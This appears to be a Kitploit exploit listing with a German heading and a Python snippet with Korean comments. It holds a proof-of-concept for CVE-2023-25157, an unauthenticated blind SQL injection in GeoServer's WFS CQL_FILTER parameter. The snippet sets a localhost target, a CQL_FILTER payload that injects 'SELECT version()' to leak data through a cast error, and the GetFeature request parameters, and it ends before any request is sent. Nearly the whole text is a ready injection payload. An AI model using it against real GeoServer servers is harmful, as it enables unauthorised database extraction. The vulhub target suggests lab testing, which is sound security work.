geoserver-CVE-2023-25157 — Proof-of-Concept-Exploit für CVE-2023-25157, eine blinde SQL-Injection-Schwachstelle im WFS-CQL_FILTER-Parameter von GeoServer, die eine nicht authentifizierte Datenextraktion ermöglicht. | Kitploit

# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}